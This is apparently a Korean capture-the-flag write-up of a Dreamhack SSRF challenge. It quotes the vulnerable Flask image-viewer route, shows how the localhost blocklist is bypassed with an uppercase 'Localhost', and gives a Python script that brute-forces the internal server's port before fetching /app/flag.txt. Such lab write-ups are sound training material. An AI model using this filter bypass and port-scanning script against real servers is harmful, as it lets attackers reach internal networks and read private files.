
SSRF 취약점을 이용하여 /app/flag.txt를 획득하는 문제.
@app.route("/img_viewer", methods=["GET", "POST"])
def img_viewer():
if request.method == "GET":
return render_template("img_viewer.html")
elif request.method == "POST":
url = request.form.get("url", "")
urlp = urlparse(url)
if url[0] == "/":
url = "http://localhost:8000" + url
elif ("localhost" in urlp.netloc) or ("127.0.0.1" in urlp.netloc):
data = open("error.png", "rb").read()
img = base64.b64encode(data).decode("utf8")
return render_template("img_viewer.html", img=img)
try:
data = requests.get(url, timeout=3).content
img = base64.b64encode(data).decode("utf8")
except:
data = open("error.png", "rb").read()
img = base64.b64encode(data).decode("utf8")
return render_template("img_viewer.html", img=img)
/img_viewer 는 POST 요청에서 이용자가 입력한 url에 HTTP 요청을 보내고, 응답을 img_viewer.html의 인자로 하여 렌더링한다.
local_host = "127.0.0.1"
local_port = random.randint(1500, 1800)
local_server = http.server.HTTPServer(
(local_host, local_port), http.server.SimpleHTTPRequestHandler # 리소스를 반환하는 웹 서버
)
def run_local_server():
local_server.serve_forever()
threading._start_new_thread(run_local_server, ()) # 다른 쓰레드로 `local_server`를 실행합니다.
파이썬의 기본 모듈인 http를 이용하여 127.0.0.1의 임의 포트에 HTTP 서버를 실행한다. 현재 디렉터리를 기준으로 URL이 가리키는 리소스를 반환하는 웹 서버가 생성된다.
호스트가 127.0.0.1 이기 때문에 외부에서 접근할 수 없는 내부망에 해당된다.
img_viewer에서 이용자가 POST로 전달한 url에 HTTP 요청을 보내고, 응답을 반환하고 있다. 우리는 이 과정에서 url을 변조할 수 있으며 img_viewer의 입장에서, 즉 서버의 권환으로 다른 서버에 요청을 보낼 수 있다.
그렇다면 이제 요청을 보내야할 서버의 주소를 알아내야 한다. 이 서버가 실행되는 디렉터리는 /app이고, 문제의 FLAG 역시 /app/flag.txt 이므로 우리는 img_viewer을 이용하여 내부서버에 접속하여 flag파일을 요청해야 한다.
내부 서버는 127.0.0.1:{랜덤포트} 로 구성되어있으며, 외부에서 직접적으로 접근할 수 없기에 img_viewer를 이용한다. img_viewer에서는 "127.0.0.1", "localhost" 가 포함된 URL로의 접근을 막고있으나, URL에서 호스트와 스키마는 대소문자를 구분하지 않으므로, "localhost"의 임의 문자를 대문자로 바꾸면 쉽게 우회할 수 있다.
가장먼저 임의로 배정된 포트번호를 찾아야 한다. 포트번호를 찾는과정은 단순 무차별 대입공격을 통해 진행되며 코드는 다음과 같다.
import requests
import sys
NOTFOUND_IMG = "iVBORw0KG"
def find_port():
for port in range (1500, 1801):
url = f'http://Localhost:{port}'
data = {
"url" : url,
}
response = requests.post(
"http://host3.dreamhack.games:22826/img_viewer", data=data
)
if NOTFOUND_IMG not in response.text:
print(f"Internal Port is {port}")
if __name__ == "__main__":
find_port()
위 과정을 통해 찾은 포트번호는 "1616" 이였고, 이제 우리는 img_viewer를 이용하여 내부망의 주소를 url로 하여 내부망에 flag.txt 파일을 요청하도록 변조해야 한다.
img_viewer 페이지에서 url을 http://Localhost:1616/flag.txt로 지정하여 요청을 보낸 후 받은 응답은 base64로 인코딩 되어있으므로, 응답내용을 디코딩하면, FLAG를 획득할 수 있다.